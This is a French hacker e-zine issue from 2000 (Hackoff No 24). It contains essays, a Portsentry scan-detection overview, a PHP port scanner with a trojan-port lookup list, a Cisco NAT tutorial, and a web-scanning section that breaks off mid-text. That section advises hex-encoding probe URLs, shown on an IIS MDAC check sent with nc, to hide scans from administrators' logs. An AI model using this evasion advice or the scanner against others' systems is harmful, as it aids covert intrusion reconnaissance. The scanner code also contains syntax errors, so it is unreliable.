26-11-1900               - H@CKOFF No24 -           * Para Bellum edition * - 
  
,,`,,`,,``,,`,,`,,
   
         _/    _/    _/_/      _/_/_/  _/    _/    _/_/    _/_/_/_/ _/_/_/_/      
        _/    _/  _/    _/  _/        _/  _/    _/    _/  _/       _/
       _/_/_/_/  _/_/_/_/  _/        _/_/      _/    _/  _/_/_/   _/_/_/
      _/    _/  _/    _/  _/        _/  _/    _/    _/  _/        /
     _/    _/  _/    _/    _/_/_/  _/    _/    _/_/    _/       _/   
 
`,,`,,`,,``,,`,,`,,



     ___________________________________________________________________
    /                                                                   \
   /  Bienvenue dans ce Hackoff No 24 para-bellum edition (on s'y bat    |
  /  pour la cause de la savate). Au sommaire de ce numero 24 on vous    |
 /  oriente objet avec nos syllogismes algoritmo-progressifs a indices  /
| cartheso-platoniques. Un peu de poesie et de SE, de la programmation /
|  web en php et en perl, et des outils reseau et un cours sur NAT.   /
 \________________________________________   ________________________/
                                          \ |
                                           \|   
                                       __________                                  
                                   .,:;>The Crew<;:,.
                                       
                                      /.gArd.\
                                     /  .h3rtz!.  \
____________________________________/  ..mistO...  \_____________________________
 -桢 /  ...blureD...  \-桢
/  ....courOu....  \
                                 /  .....tobozO.....  \
                                /  ......hAl2001.....  \
                               /  ......snIffdoZ......  \
                    ----8<----+-----8<--------8<---------\-8<--+-------8<---
                             / Ghosts : BirkOss G3n0cId3  \
                            /------------------------------\
                           / Guests:  Hal , Joey, Lansciac  \
                           
                   ____________________________________________________________ 
 __________       /   TabLe des mAtires :                                     \
/ HACK0ff  \     ||
]-=v0L 24=-[     |     [0]    DisclaimBot                          Tobozo       |
\ Nov 2000 /     |     [1]    Edito                                Lansciac     |
 	 |     [2]    Port Scanner php                     Tobozo       |
                 |     [3]    Nat sur Cisco                        Ulysse       |
                 |     [4]    Some hack technics                   Tobozo       |
                 |     [5]    Php4 installation                    Coolrasta    |
                 |     [6]    Mail Bomber php                      Tobozo       |
                 |     [7]    Phplib-Phpslash HOWTO                Courou       |
                 |     [8]    Tutorial sur PERL                    BirkOss      |                 
                 |     [9]    L'ethique du SE                      T H C        |                    
---------8<------+--------------8<---------------------8<---------------------8<-
                 
                 : 
                 . 


                     _        _______________________        _
-*0*-                 `^*;:,.>     sclamBot     <.,:;*^`
_____________________________/By tobozo\___________________________
`,,`,,`,,``,,`,,`,


	Le droit a l'erreur est un luxe rserv a l'humanit et qui
	provoque des ralits diffrentes selon le contexte dans
	lequel il s'exprime. Mais que dire de l'intelligence 
	artificielle quand c'est elle qui induit en erreur ?
	Asimov y avait pens tres fort et nous avait pondu ses     
	trois lois de la robotique (rien a voir avec moulinex),
	mais comme on n'est pas des machines un petit rajustement
	s'est impos...

	Les trois lois de la cybernautique 

	Premire loi 
	------------
	Un cybernaute ne peut porter atteinte  un autre cybernaute
	ni, restant passif, laisser un autre cybernaute expos au 
	danger. 

	Deuxime loi 
	------------
	Un cybernaute doit obir aux ordres donns par sa 
	conscience, sauf si de tels ordres sont en contradiction 
	avec la premire loi.

	Troisime loi 
	-------------
	Un cybernaute doit protger son existence dans la mesure ou 
	cette protection n'est pas en contradiction avec la 
	premire ou la deuxime loi. 


`,,`,,`,,``,,`,,`,









                     _        _______________________        _
-*1*-                 `^*;:,.>         t 0      <.,:;*^`
_____________________________/By Lansciac\__________________________
`,,`,,`,,``,,`,,`,

"Complment d'objet direct"
Une modlisation vcue par Lusse

>La premiere partie est un petit recit imag que peu
>comprendront. D'ou son si grand interet...lol La vie
>d'un(e) programmeuse d'objets tout au long d'une
>journee...


1) Objet
2) Complment
3) Directions
4) Lexique


1) OBJET
# intro(
# "Coefficient espace temps",
# "Cerebral Status",
# "Paradox",
# "Resolution")

  Coefficient espace temps =>
	"Encore un jour anodin", 
	EXTRA => "une autre de ces aurores sans lendemain",
	EFFECT=> "qui me laisse a penser que jamais je ne 
		  recommencerai"
  Cerebral Status =>
	"je sais bien",
	EXTRA => "qu'a chaque lendemain de crise",
	EFFECT=> "je me le promets..."
  Paradox =>
	"Mais a quoi bon",
	EXTRA => "cette fois-ci encore me faire un serment 
	          hypocrite sans avenir, contrairement a mon 
		  crime."
  Resolution =>
	"Je prends le temps",
	EXTRA => "de me mettre aux normes.",
	EFFECT=> "j'avale une "java cup" et me prepare a 
		  retrouver mon compagnon d'infortune..."
		  

 Coefficient espace temps =>
	"Une demi heure plus tard",
	EXTRA => "je suis prete.",
	EFFECT=> "Je sonne a sa devanture, il repond tout 
		  de suite, comme a son habitude, bien 
		  dresse :)."
 Cerebral Status => 
	"Je lui dit de se taire";
	EXTRA => "ne rien dire",
	EFFECT=> "juste de me l'ecrire"
 Paradox =>
	"Il etait encore avec moi hier soir",
	EXTRA => "il sait que j'ai les synapses en ebulition"
	EFFECT=> "Les voisins sont bruyants, une fois de plus 
	 	  ils tapent au plafond..."
 Resolution =>
	" A croire qu'ils elevent des araignes"
	EXTRA => "a vouloir aussi souvent nettoyer. le pire, 
		  je crois, c'est qu'ils ne font cela que 
		  pendant mes migraines",
	EFFECT=> "A croire que je pourrai moi meme decrire 
		  leurs agissements dans mes abus"

]Mode text*


2)COMPLEMENT_____ ______________________
|Lansciac.crise()|-----|Voisin.tapage()|
  
 
 J'avale deux efferalgants a la codene et me reconcentre 
 sur les dires de mon compagnon. Il me propose deux 
 activites pour occuper notre journee.
 
 Arfff...je me mords doucement la langue. Je m'en doutais 
 enormement, mais avais l'espoir, je ne sais, peut etre par 
 magie, qu'il me proposa autre chose. Je ne pouvais aller ni 
 a droite, ni a gauche, j'etais coince, comme a Rhodes, a 
 l'epoque du colosse... N'en avait il point assez? Trois 
 fois par semaine, chaque fois que j'allais vers lui, il me 
 tentait, me proposait de parfaire ce vice qu'est le mien, 
 tel un dealer. Je me suis donc toute la journee avalee de 
 l'ihm, avec un melange de cerise ainsi que du miel (ouaip, 
 je sais, la, il est tres tres lourd...Enjoy) sur quelques 
 tartines d'agl aux fibres. Rajoutant ici et la quelques 
 objets fantaisistes a mon cocktail pour parfaire mon 
 projet. J'ai aussi beaucoup joue sur mes relations... me 
 connectant sur un chat, j'ai commis quelques (ex)actions en 
 public et me suis finalement rabattue sur quelques 
 relations en priv qui exitaient[...]
 
 Il est minuit, mon fidele assistant a chaud. il est au bord 
 du petage de plomb; je pense plutot, de mon cote, a un 
 vidage de la memoire ;). Quant a moi, je suis completement 
 enivree et excitee. J'ai quelques halucinations 
 inquietantes. Apres avoir ferme les yeux deux secondes, je 
 les reouvre et vois toujours ces petits plus et moins 
 etoiles qui tournent autour de ma tete, comme si je pouvais 
 les toucher. Je me demande si tout cela n'est pas du a 
 l'heritage que mon mentor m'a transmise :).

3)DIRECTIONS
 S'il eu fallu d'ecrire la notion d'objet, je me serai 
 ecriee table ou chaise, mais qui de vous aurez compris? peu 
 m'importe a vrai dire. Nous vivons a 200 a l'heure, nous 
 n'entendons meme plus le bruit des arbres qui tombent sans 
 bruits, ronges par les castors, et vous voudriez que je 
 vous explique ce que je ressents qd je manipule des objets? 
 Qui suis je pour vous expliquer tout cela? Personne, nicht, 
 nada, nop, nothing, 90, 0... Certes, je suis tout cela et 
 alors? Dans tous les cas, je serai une classe a moi toute 
 seule, une classe separee de la virgule par un point, 
 indestructible car importante, oubliee car sans emploi. 
 Pour ceux a qui les mots uml et merise ne signifie rien, je 
 dis, que de chance, cultivez votre ignorance et oubliez ces 
 instant fugaces ou vous m'avez lue. Mais, au contraire, si 
 vous voulez decouvrir ce qu'est une encephalo spongiphorme, 
 bouffez de la vache folle; ou tout du moins, faites de 
 l'objet, ca vous mettra dans le meme etat... A votre avis, 
 a quoi reconnait on un programmeur normal d'un programmeur 
 objet?je vous laisse deviner... Cet instant de recherche 
 chez vous est un instant de fugace plaisir chez moi.. Ca y 
 est, je vous ai fait assez passienter.. Vous avez trouve? 
 Toujours pas? Et bien c'est tres simple alors; vous n'etes 
 pas un programmeurs objet ;). Quand on invoquera chez vous 
 les termes java ou C++ et que vous sentirez vos doigts 
 fremir, a la recherche d'un clavier egare; vous pourrez a 
 ce moment dire que vous etes programmeur objet. Au dela des 
 mots, c'est toute une philosophie qui s'instruit par 
 derriere et laisse votre emoi en bulition. Certains par 
 peurs diront qu'est-ce? Surement une nouvelle bete qui rode 
 et qui nous veux encore du mal... D'autre diront, si je 
 peux m'approprier cette facon de penser, j'aurai tout 
 pouvoir entre mes mains (cf j++).
 Si, assurement, je suis dans la bonne pensee, il y a fort a 
 parier que demain je serai linchee. Non pas pour mon 
 apparence ou ma raison, mais bien parce que je vous aurais 
 dit la verite, tel galilee en son temps fut ex-communie; 
 pour moi on fera de meme, on m'isolera; cantonnee derriere 
 des vieux PL6, on m'obliegera a maintenir des applis cobol; 
 voir meme faire une doc sur la rigueur de ma tres 
 dignitaire Ada. Si le prix de ma liberte est pour moi 
 l'abnegation de l'objet par l'objet et pour l'objet; alors 
 je prefere que vous m'enfermiez et que vous cryptiate la 
 cle en asm... qui lui contrairement aux dires de certains 
 est le plus bel objet jamais cree...
 
 Donnez moi dU MieL
 
 Lansciac. 
 
 -------------------------------8<--------------------------

4)LEXIQUE
 
 Pour la premiere partie, just au cas ou:
 mon compagnon, c'est mon ordi
 l'IHM, c pas le dernier alcool a la mode ;)
 l'AGL, voir les buveurs de kro.
 CERISE -> merise
 MIEL -> uml (dit tres vite...lol)
 Heritage, plus et moins sont des notions objets...

lansciac@caramail.com

`,,`,,`,,``,,`,,`,







                     _        _______________________        _
-*2*-                 `^*;:,.> Scanner de port php <.,:;*^`
_____________________________/By tobozo\___________________________
`,,`,,`,,``,,`,,`,


Il n'est pas tres au point mais il a le merite de marcher a 100% en local (sauf
sur windoze hehehe). Etant donn qu'un scanner peut etre un probleme autant
qu'une solution sur un reseau on va fournir deux problemes et deux solutions.

La premiere partie est offerte par Hertz@webmails.com
(document original : portsentry 06-07-2000)

Pourquoi dtecter les scans de ports 
------------------------------------
Un scan de ports est un des premiers pas qu'un attaquant fait juste avant de 
pntrer un rseau. C'est un moyen pour lui d'obtenir des informations telles que: 

les htes prsents dans le rseau; 
les services (http, ftp, ssh...) ouverts; 
le systme d'exploitation. 
Un scan n'est pas une attaque en soi, mais il en constitue une tape possible et 
courante. 

Types de scans dtects 

Portsentry peut dtecter de nombreux types de scans, tels que les scans de type 
"connect()", et mi-ouverts "half-scan". Il peut dtecter les scans "Xmas tree", 
"Syn scan", "NULL scan". Pour plus d'informations, vous pouvez consulter la page 
de manuel franaise de nmap . 


Configuration et Options 

Portsentry se configure grce  un simple fichier du type Apache. Ce fichier est 
par dfaut /usr/local/psionic/portsentry/portsentry.conf 

Il est possible de prendre plusieurs type de mesures face  des scan: 

bloquer l'hte grce  tcp-wrapper (/etc/hosts.deny); 
lancer une commande (ex: scanner l'hte en retour, excuter un traceroute jusqu' 
celui-ci...) 
Toutefois, il est fortement dconseill d'entreprendre une action face  un scan, 
car celui-ci ne prouve rien. En effet, il est tout  fait possible qu'un attaquant 
souhaitant nuire forge des paquets avec une adresse de la Socit Gnrale pour IP 
source et celle de la Caisse d'pargne pour IP destination. Cela aurait pour 
rsultat de faire croire  la Caisse d'pargne qu'elle est en train de se faire 
scanner par la Socit Gnrale, alors que l'attaquant se trouve  Moscou. 
Imaginez par ailleurs que quelqu'un vous scanne avec l'adresse IP source de votre 
propre serveur de mail. Si par excs de prcaution vous avez plac une option 
d'ajout dynamique de l'IP source dans le hosts.deny, alors, il est vrai que cette 
personne n'aura pas la rponse  ses scans, mais elle parviendra nanmoins  vous 
empcher de dialoguer avec votre serveur de mail. 

Les options d'excution suivantes sont disponibles : 


portsentry -tcp (basic port-bound TCP mode) 
portsentry -udp (basic port-bound UDP mode) 
portsentry -stcp (Stealth TCP scan detection) 
portsentry -atcp (Advanced TCP stealth scan detection) 
portsentry -sudp ("Stealth" UDP scan detection) 
portsentry -audp (Advanced "Stealth" UDP scan detection) 

Conclusion 

Pour plus d'informations, se reporter aux fichiers README.install et README.methods 
qui se trouvent dans l'archive du programme. Une suite logique aprs l'installation 
de Portsentry serait l'installation d'un produit d'analyse de logs tel que logcheck. 

Consultez le site de psionic : http://www.psionic.com/abacus/portsentry/




La deuxieme partie est un code php, pour le faire fonctionner il faudra
avoir acces en upload sur un serveur qui supporte ce langage a partir
de la version 3.0.9.

Enjoy





<? 
/* 
*  Php network security scanner 
* 
* (c)free 2000 by: tobozo@usa.net & 
* Original script from : ThD <serial_now@hotmail.com> 
* 
* Permission d'utliser et de modifier ce logiciel ainsi que sa
* documentation pour tout usage non commercial est accordee
* sans autre charge supplementaire du moment que l'auteur est
* prvenu...Meme chose pour la copie et la distribution, 
* du moment que cette notice de permission y figure.
* Ce code est fourni "tel quel" sans aucune garantie de ce
* qu'il pourrait produire ou ne pas produire.
* 
* L'auteur n'est pas responsable de ce que vous faites avec
* ce script, n'en abusez pas
*
* Note : ce script ne fonctionne pas sur les hosts qui
* utilisent auto_append ou auto_prepend pour inserer du
* code de banniere (il genere du javascript)
*
*/ 

error_reporting(0);
$starttime=time();
$portlimit=100;
$incr=10;


$portdesc[0] =  "Reserved"; 
$portdesc[1] =  "TCP Port Service Multiplexer"; 
$portdesc[2] =  "Management Utility"; 
$portdesc[3] =  "Compression Process"; 
$portdesc[4] =  "Unassigned"; 
$portdesc[5] =  "Remote Job Entry"; 
$portdesc[6] =  "Unassigned"; 
$portdesc[7] =  "Echo"; 
$portdesc[8] =  "Unassigned"; 
$portdesc[9] =  "Discard"; 
$portdesc[10] =  "Unassigned"; 
$portdesc[11] =  "Active Users"; 
$portdesc[12] =  "Unassigned"; 
$portdesc[13] =  "Daytime"; 
$portdesc[14] =  "Unassigned"; 
$portdesc[15] =  "Unassigned"; 
$portdesc[16] =  "Unassigned"; 
$portdesc[17] =  "Quote of the Day"; 
$portdesc[18] =  "Message Send Protocol"; 
$portdesc[19] =  "Character Generator"; 
$portdesc[20] =  "File Transfer [Default Data]"; 
$portdesc[21] =  "File Transfer [Control]"; 
$portdesc[22] =  "Unassigned"; 
$portdesc[23] =  "Telnet"; 
$portdesc[24] =  "any private mail system"; 
$portdesc[25] =  "Simple Mail Transfer"; 
$portdesc[26] =  "Unassigned"; 
$portdesc[27] =  "NSW User System FE"; 
$portdesc[28] =  "Unassigned"; 
$portdesc[29] =  "MSG ICP"; 
$portdesc[30] =  "Unassigned"; 
$portdesc[31] =  "MSG Authentication"; 
$portdesc[32] =  "Unassigned"; 
$portdesc[33] =  "Display Support Protocol"; 
$portdesc[34] =  "Unassigned"; 
$portdesc[35] =  "any private printer server"; 
$portdesc[36] =  "Unassigned"; 
$portdesc[37] =  "Time"; 
$portdesc[38] =  "Route Access Protocol"; 
$portdesc[39] =  "Resource Location Protocol"; 
$portdesc[40] =  "Unassigned"; 
$portdesc[41] =  "Graphics"; 
$portdesc[42] =  "Host Name Server"; 
$portdesc[43] =  "Who Is"; 
$portdesc[44] =  "Who Is"; 
$portdesc[45] =  "Message Processing Module [recv]"; 
$portdesc[46] =  "MPM [default send]"; 
$portdesc[47] =  "NI FTP"; 
$portdesc[48] =  "Digital Audit Daemon"; 
$portdesc[49] =  "Login Host Protocol"; 
$portdesc[50] =  "Remote Mail Checking Protocol"; 
$portdesc[51] =  "IMP Logical Address Maintenance"; 
$portdesc[52] =  "XNS Time Protocol"; 
$portdesc[53] =  "Domain Name Server"; 
$portdesc[54] =  "XNS Clearinghouse"; 
$portdesc[55] =  "ISI Graphics Language"; 
$portdesc[56] =  "XNS Authentication"; 
$portdesc[57] =  "any private terminal access"; 
$portdesc[58] =  "XNS Mail"; 
$portdesc[59] =  "any private file service"; 
$portdesc[66] =  "Oracle SQL*NET"; 
$portdesc[67] =  "Bootstrap Protocol Server"; 
$portdesc[68] =  "Bootstrap Protocol Client"; 
$portdesc[69] =  "Trivial File Transfer"; 
$portdesc[70] =  "Gopher"; 
$portdesc[71] =  "Remote Job Service"; 
$portdesc[76] =  "Distributed External Object Store"; 
$portdesc[78] =  "vettcp"; 
$portdesc[79] =  "Finger"; 
$portdesc[80] =  "World Wide Web HTTP"; 
$portdesc[88] =  "Kerberos"; 
$portdesc[92] =  "Network Printing Protocol"; 
$portdesc[107] =  "Remote Telnet Service"; 
$portdesc[110] =  "Post Office Protocol - Version 3"; 
$portdesc[113] =  "Authentication Service"; 
$portdesc[115] =  "Simple File Transfer Protocol"; 
$portdesc[119] =  "Network News Transfer Protocol"; 
$portdesc[137] =  "NETBIOS Name Service"; 
$portdesc[138] =  "NETBIOS Datagram Service"; 
$portdesc[139] =  "NETBIOS Session Service"; 
/*       REGISTRED PORTS   */ 
$portdesc[1024] =  "Reserved"; 
$portdesc[1025] =  "network blackjack"; 
$portdesc[1356] =  "CuillaMartin Company"; 
$portdesc[1361] =  "LinX"; 
$portdesc[1366] =  "Novell NetWare Comm Service Platform"; 
$portdesc[1376] =  "IBM Person to Person Software"; 
$portdesc[1387] =  "Computer Aided Design Software Inc LM"; 
$portdesc[1416] =  "Novell LU6.2"; 
$portdesc[1428] =  "Informatik License Manager"; 
$portdesc[1433] =  "Microsoft-SQL-Monitor"; 
$portdesc[1434] =  "Microsoft-SQL-Monitor"; 
$portdesc[1465] =  "Pipes Platform"; 
$portdesc[1477] =  "ms-sna-server"; 
$portdesc[1478] =  "ms-sna-base"; 

/*       TROJAN PORTS       */
$trojports=array (
	"31", "80", "121", "456", "555", "555", "555", "666", "1001", "1001", "1010", "1011", "1015", "1033", "1042", "1080", "1170", "1243", "1245", "1269", "1492", "1509", "1600", "1807", "1981", "1999", "2001", "2023", "2140", "2283", "2565", "2583", "2801", "3791", "4567", "4950", "4950", "5011", "5031", "5321", "5400", "5400", "5521", "5550", "5569", "5742", "6400", "6669", "6670", "6883", "6939", "6969", "7306", "7789", "9400", "9872", "9875", "9989", "9989", "10607", "11000", "11223", "12076", "12223", "12346", "12701", "16969", "17300", "20000", "20034", "20203", "20331", "21554", "21554", "22222", "23456", "23456", "29891", "30029", "30100", "30303", "30999", "31337", "31339", "31787", "34324", "34324", "40412", "50766", "53001", "54321", "61466", "65000", "65535");
$trojnames=array (
	"Master_Paradise", "Apache", "BO_jammerkillahV", "Hackers_Paradise", "Stealth_Spy", "Phase0", "NeTadmin", "Attack_FTP", "Silencer", "WebEx", "Doly_trojan_v1.35", "Doly_Trojan", "Doly_trojan_v1.5", "Netspy", "Bla1.1", "Wingate", "Streaming_Audio_Trojan", "SubSeven", "Vodoo", "Mavericks_Matrix", "FTP99CMP", "Psyber_Streaming_Server", "Shiva_Burka", "SpySender", "ShockRave", "Backdoor", "TrojanCow", "Pass_Ripper", "The_Invasor", "HVL_Rat5", "Striker", "Wincrash2", "Phineas", "Total_Eclypse_1.0", "FileNail", "IcqTrojen", "IcqTrojan", "OOTLT_Cart", "NetMetro_1.0", "Firehotcker", "BladeRunner", "BackConstruction1.2", "Illusion_Mailer", "Xtcp", "RoboHack", "Wincrash", "The_tHing", "Vampire", "Deep_Throath_1,2,3.x", "DeltaSource", "Indoctrination", "Gatecrasher", "NetMonitor", "ICQKiller", "InCommand_1.0", "PortalOfDoom", "Portal_of_Doom", "InIkiller", "iNi-Killer", "Coma", "Senna_Spy_Trojans", "ProgenicTrojan", "Gjamer", "Hack99_KeyLogger", "NetBus_1.x", "Eclipse_2000", "Priotrity", "Kuang2_theVirus", "Millenium", "NetBus_Pro", "Logged!", "Bla", "GirlFriend", "Schwindler_1.82", "Prosiak_0.47", "WhackJob", "UglyFtp", "The_Unexplained", "AOLTrojan1.1", "NetSphere", "Socket23", "Kuang", "Back_Orifice", "NetSpy_DK", "Hack_a_tack", "Tiny_Telnet_Server", "BigGluck_aka_TN", "TheSpy", "Fore_Schwindler", "RemoteWindowsShutdown", "Schoolbus_1.6", "Telecommando", "Devil_1.03", "ShitHeep");


// maximum de ports a scanner par portion de code

function reload() {
	global $from, $to;
	echo "document.write('$from _ $to : ');\n";
	relay();
	}
	
function relay() {
	global $index;
	echo "document.write('$index<br>');\n";
	}

function checkport($port) {
    global $host;
    $status = 0;
    $socket = fsockopen($host, $port, &$errno, &$errstr);
    if ($socket) {
        $status = 1;
        set_socket_blocking($socket, 0);
        $count = 0;
        $portOutput =  "";
        while ($count < $timeout) {
            if ($readString = fread($socket, 1)) {
                $readString = htmlspecialchars($readString);
                $portOutput .= $readString;
                }
            $count++;
            }
        fclose($socket);
        if ($portOutput !=  "") {
            $index="<b>Output:</b><pre>$portOutput</pre>";
            relay();
            }
        }
    else {
       /* print  ""; */
       }
    return $status;
    }

function scanner($from, $to) {
	global $starttime, $portdesc, $trojports, $trojnames;
	for($port=$from; $port<=$to; $port++) {
		$now=time();
		if (checkport($port)) {
			$index.="-<b>$port "
			$index.=" : ".$portdesc[$port].
			$i=0;
			while($i<count($trojports)) {
				if(intval($trojports["$i"])==intval($port)) $index.=" And/or Trojan : ".$trojnames["$i"];
				$i++;
				}
			$index.="</b>";
			if($starttime+8>$now) {
				// okay
				}
			else {
				// timeout !!
				reload();
				exit;
				}
			}
		else {
			if($starttime+8>$now) {
				// 
				}
			else {
				// timeout !!
				$index.="[$from _ $to]";
				reload();
				exit;
				}
			}
		}
	return $index;
	}

if($index) {
	reload();
	exit;
	}
	
if((!$recursive) && (!$host)) {
	echo $REMOTE_ADDR;
	echo "<br>".gethostbyaddr($REMOTE_ADDR);
	?>
<pre>
*  Php network security scanner 
* 
* (c)free 2000 by: tobozo & ThD <serial_now@hotmail.com> 
</pre>
<FORM ACTION="<? echo $PHP_SELF; ?>" METHOD="get"> 
Host to scan
<INPUT TYPE="text" NAME="host" SIZE="30" MAXLENGTH="100" value="127.0.0.1"> <br>
Number of ports to scan <br>
Ports : <br>
from :<INPUT TYPE="text" NAME="from" SIZE="8" MAXLENGTH="100">
to :<INPUT TYPE="text" NAME="to" SIZE="8" MAXLENGTH="100">
<INPUT TYPE=submit VALUE="Find out">
</FORM> 
<?	
	exit;
	}


if(($host) && (!$reload)) {
	?>
<script>
function stopErrors() { return true; }
window.onerror = stopErrors;
</script>
	<?
	}

if($to-$from>$portlimit) {
	while($from<$to) {
		$tempto=$from+$portlimit;
		if($reload=="1") {
			$index=scanner($from, $from+$portlimit);
			reload();
			}
		else echo "<script src='port_scanner.php3?host=$host&from=$from&to=$tempto&reload=1'></script>\n";
		$from=$tempto;
		if($from>$to) $from=$to;
		}
	}
else {
	if($reload=="1") {
		$index=scanner($from, $to);
		reload();
		}
	else echo "<script src='port_scanner.php3?host=$host&from=$from&to=$to&reload=1'></script>\n";
	}


?>




`,,`,,`,,``,,`,,`,













           _        ____________________________________________        _
-*3*-       `^*;:,.> -      La NAT sur routeur cisco        - <.,:;*^`
___________________/By Ulysse\________________
`,,`,,`,,``,,`,,`,




Cette doc prsente brivement les principes NAT et PAT et leur mise en oeuvre 
dtaille sur un Cisco de base (modle 800/1000). Bien entendu, si vous voulez 
rajouter quelque chose, ou transformer cette doc en prsentation plus complte 
des routeurs, je vous y encourage. Tout commentaire est par ailleurs le bienvenu. 
 Envoyez toute doc modifie  : 
ulysse31@madchat.orgd  


Quest ce que la NAT ?

La Network Address Translation ou translation dadresses IP est le fait de 
traduire des adresses IP prives (LAN) vers des adresses IP publiques (Internet). 
Le premier intrt de la NAT est que les adresses publiques sur le net sont 
limites (255*255*255*255 mais quand mme trop peu ), tout ordinateur ne peut 
donc pas avoir sa propre adresse publique. Pour a, il existe des plages 
dadresses qui sont rserves aux rseaux privs (LAN) par exemple 172.16.0.*, 
192.15.*.*, 10.*.*.* mais, ces adresses sont utilises par plusieurs ordinateurs 
au monde, qui ne peuvent donc se connecter avec ce type dadresses  Internet.

Le second intrt de cette technologie et que si le provider ne nous  attribu 
quun petit nombre dadresses IP publiques et quon  plus de machines  
connecter au net, a permet de  partager  les adresses IP. 

Il y  3 types de NAT :

La NAT statique ou une adresse prive (LAN) correspond  une adresse publique 
(Internet). La correspondance est toujours la mme. Utile pour limiter ou 
contrler les accs au net de certaines IP.
 

La NAT dynamique ou lon dispose dune srie dadresses publiques pour le LAN, 
le premier  se connecter, prend la premire, le second la seconde Les 
adresses publiques sont attribues dynamiquement  la connexion. Cest le NAT 
le plus utilis pour des raisons de simplicit de configuration.
 

La PAT (Port Address Translation). On ne dispose que dune adresse IP publique 
et plusieurs machines peuvent tre relies en mme temps au net. Le routeur 
dispose dune table de routage et fait correspondre des ports  des machines.

Par exemple, la machine A veut se connecter sur le site http://www.madchat.org, 
elle envoie une requte au routeur (adresse 172.16.0.1 port 80) qui traduit 
ladresse IP de la machine A, en adresse IP publique et qui change le numro 
du port demandeur (par exemple, elle le remplace par le port 2034) et envoie 
la requte au site www.madchat.org (IP 200.01.25.69, port 80). Le site rpond 
sur ladresse IP publique du routeur (212.81.106.161 port 2034) qui transmet 
 la machine qui  demand la connexion car le routeur sait que les requtes 
reues sur le port 2034 sont  expdier  la machine A port 80 (cest inscrit 
dans la table de routage). Si la machine B fait elle aussi une requte pendant 
ce temps, le routeur lui attribuera un autre de ses ports.


Configuration dun routeur Cisco (exemple : srie 1000) pour le NAT :
Avant de configurer le routeur pour faire du NAT, il faut tout dabord vrifier 
que le systme dexploitation du routeur (Unix Cisco) appel IOS pour Internet 
Operating System est capable de faire du NAT.

Pour ceci, il faut connecter le routeur sur un port COM dun ordinateur, lancer 
une connexion Hyper terminal.

A linvite Routeur> (linvite est en fait le nom du routeur), entrez  en  
(en pour enable) puis le mot de passe secret, entrez :   sh ru  (pour show 
running configuration) et appuyez sur tab puis sur entre. La version de lIOS 
doit alors safficher (cest du genre 12-2.17Y2MZ), il faut ensuite vrifier 
quelle est capable de faire du NAT sur le site 
http://www-europe.cisco.com/warp/public/458/41.html ou en tapant NAT ?, si rien 
napparat, il faut une autre version.

Si la version nest pas capable de faire du NAT, il faut en charger une 
compatible sur le routeur. Pour cela, il faut disposer dun serveur TFTP 
(Trivial File Transfer Protocol) sur le PC auquel le routeur est reli et de la 
version compatible sur le PC.

Lancer le serveur TFTP. 
Sur le routeur,  linvite Routeur# , tapez copy tftp flash. 
Ensuite, le routeur demande ladresse IP du serveur TFTP. 
Le nom du fichier source. 
Le nom du fichier cible. 
Il demande de confirmer 2 fois leffacement de la flash. 
Le transfert commence. 
Si tout sest bien pass, le serveur TFTP doit afficher des # et succesful a la 
fin, le routeur doit afficher des points dexclamations et un ok  la fin.

Sinon, retenter lenvoi ou tenter avec un autre IOS. 
Il faut entrer tout dabord setup puis 2 fois yes (pour rentrer dans le menu de 
configuration puis pour voir la configuration actuelle). 
Entrer le nom du routeur (Router). 
Entrer les 3 mots de passe (secret, enable et virtual terminal), ensuite, le 
routeur propose de configurer plusieurs protocoles, toujours rpondre non, sauf 
pour le protocole IP. 
Le routeur demande ensuite de configurer les interfaces (Serial, Ethernet). 
Si linterface ethernet0 est celle utilise (interface utilise par dfaut), 
mettre yes , rentrer ladresse IP pour cette interface (par exemple 
172.16.0.254), 
laisser le choix par dfaut pour le masque de sous rseau. 
Il faut maintenant configurer la 2me interface (ISD ou bri0 ou Aux sur le 2500) 
et lui attribuer une adresse IP (ladresse IP publique) (par exemple 
212.81.106.162 ). 
Maintenant, on va passer  la configuration du NAT. 
 

3. Syntaxe :

Entrez conf t.

A/ Nat dynamique :

Pour une configuration en NAT dynamique (une adresse IP prive aboutit  la 
premire adresse IP publique disponible) :

Tapez :   int eth0  (pour indiquer que lon configure linterface ethernet 0) 
puis :   IP nat inside  
entrez ensuite  ip address  suivie de lip LAN du routeur et du masque de sous 
rseau. 
Exemple :   ip address 172.16.0.254 255.255.0.0 . 
Dans cet exemple, toutes les adresses en 172.16.0.xxx sont autorises  sortir 
sur Internet par le routeur. 
Ensuite, il faut configurer lIP externe : 
 int bri0  (bri0 est le port sur lequel la ligne isdn est connecte). 
 ip nat outside  
 ip address premire adresse ip sortante puis masque de sous rseau . 
exemple : 
 ip address 212.81.106.161 255.255.255.224 . 
 exit  
 access-list 2 permit 172.16.0.0 0.0.0.127  
 ip nat pool ext 212.81.106.162 212.81.106.190 netmask 255.255.255.224  
ip nat inside source list 2 pool ext  
Dans cet exemple, les adresses ip publiques entre 212.81.106.162 et 
212.81.106.190 seront attribues dynamiquement aux ip prives en 172.16.0.xxx.

B/ Nat statique :

 conf t  
 ip nat inside  
 ip nat outside  
 ip nat source cible  
exemple :  ip nat 172.16.0.2 212.81.106.162  
recommencer lopration autant de fois que ncessaire ( juste la dernire 
ligne ). 
C/ PAT :

 conf t  
 ip nat pool acl overload  
 access-list 101 permit 172.16.0.0 255.255.0.0 any  
ainsi, toutes les adresses  partir de la 172.16.0.1 peuvent sortir par le routeur
en PAT. 
Pour interdire un port sur toutes les machines : 
 access-list 10 deny 172.16.0.0 255.255.0.0 agent 1032  
Cet ligne cre une access list qui interdit dutiliser le port 1032 pour toutes 
les machines.



`,,`,,`,,``,,`,,`,











                     _        _____________________        _
-*4*-                 `^*;:,.>   Web Scanning    <.,:;*^`
_____________________________/          \_____________________________
`,,`,,`,,``,,`,,`,


Contexte : scan d'un serveur web
Technique : on the rocks


-L'encodage Hexa
----------------
La methode la plus basique pour paumer un admin dans ses logs lors d'un
passage au crible de son serveur pour des vulnerabilites connues est de
deguiser l'url des requetes en remplacant les lettres par leurs valeurs
hexadecimales ASCII.
Les investigations etant souvent basee sur des recherches texte il est
tres facile de semer le trouble en encodant le tout.

Par exemple le test pour la vulnerabilite MDAC sur IIS laisse les
traces suivantes : 

06:45:25 10.0.2.79 GET /msadc/ 302

Du cot du pingouin qui envoie la requete, ca peut ressembler a ca : 

[root@localhost /root]# nc -n 10.0.2.55 80
GET /msadc HTTP/1.0

Ceci produit donc le resultat suscit. 
En substituant les lettres par leur valeur ASCII en hexa, la chaine
"msadc" devient alors 6D 73 61 64 63. L'ascii encoding en hexa n'est
pas toujours efficace, nous allons voir pourquoi...
